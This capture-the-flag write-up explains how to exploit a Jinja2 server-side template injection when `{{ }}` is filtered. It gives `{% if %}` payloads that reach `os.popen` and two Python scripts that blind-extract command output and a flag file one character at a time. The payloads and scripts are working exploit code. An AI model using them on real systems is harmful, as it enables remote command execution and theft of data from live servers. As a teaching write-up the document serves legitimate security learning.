Tags: rce ssti
Rating:
This web app is vulnerable to template injection, but `{{` and `}}` is filtered, so we can't use the same method. Jinja has support for if statement templates that look like this: `{% if 'test' == 'test' %} render this string if true {% endif %}`. Let's see what happens when we send this message:
Since Python is an OOP language, we can Method Resolution Order (MRO) to traverse across classes to a method we want, such as `os.popen`. Read more about this here: https://www.onsecurity.io/blog/server-side-template-injection-with-jinja2/. The following payload makes use of this to run the `ls` command: `{% if request.application.__globals__.__builtins__.__import__('os').popen('ls').read() == 'test' %} a {% endif %}`
The problem is that we won't see the output. Instead of `ls`, you could just put a reverse shell and that'd be it, but I removed netcat from the docker and filtered basically any other useful special character so people can't do this.
We can instead do a blind test for the output of the command: `{% if request.application.__globals__.__builtins__.__import__('os').popen('ls').read().startswith('" + str(x) + "') %} found {% endif %}`
If we put any character in `x`, then we can test if the output of the `ls` command starts with that character by checking if we see `found` returned back to us. Let's run this with the letter "D": `{% if request.application.__globals__.__builtins__.__import__('os').popen('ls').read().startswith('D') %} found {% endif %}`
I chose "D" because `Dockerfile` is the first file in the docker. We just need to script this so we can see the whole output of `ls`. Once we have that, we can try to find the path to the `/admin.html` page so we can read the flag.
Here is the script:
```python
from os import popen
import string
import requests
SERVER_ADDR = "http://127.0.0.1:5000" # replace this with the actual IP of the docker
def get_cookie():
data = {
"username": "test", # make sure to make a test:test user first
"password": "test"
}
req = requests.post(SERVER_ADDR+"/login", data=data)
cookiejar = req.history[0].cookies
cookie = cookiejar.get_dict()['session']
return cookie
cookie = {"session": get_cookie()}
final = ""
while True:
for x in string.printable:
x = final + x
payload = {'message':"{% if request.application.__globals__.__builtins__.__import__('os').popen('ls').read().startswith('" + str(x) + "') %} found {% endif %}",
'username':'admin'}
r = requests.post(url=SERVER_ADDR + "/messages", data=payload, cookies=cookie)
if 'found' in r.text:
final = x
print(final)
break
else:
pass
```
Let's run it:
![](http://github.com/NihilistPenguin/PatriotCTF2022-Writeups/raw/main/writeup-images/ssti_ls.png)
We see the directory strucutre. We can keep running this until we find the /admin.html file, but I'll skip that. I use a basic flask directory structure, so it is located in `/app/templates/admin.html`. Now let's read the file. There is a lot of HTML fluff that would make the process take forever, so we can speed it up by grepping for `Flag` first. Here's the script:
```python
from os import popen
import string
import requests
SERVER_ADDR = "http://127.0.0.1:5000"
def get_cookie():
data = {
"username": "test",
"password": "test"
}
req = requests.post(SERVER_ADDR+"/login", data=data)
cookiejar = req.history[0].cookies
cookie = cookiejar.get_dict()['session']
return cookie
cookie = {"session": get_cookie()}
final = "Flag: PCTF{"
while True:
for x in string.printable:
x = final + x
payload = {'message':"{% if request.application.__globals__.__builtins__.__import__('os').popen('grep -io flag.*\} ./app/templates/admin.html').read().startswith('" + str(x) + "') %} found {% endif %}",
'username':'admin'}
r = requests.post(url=SERVER_ADDR + "/messages", data=payload, cookies=cookie)
if 'found' in r.text:
final = x
print(final)
break
else:
pass
```
Let's run it: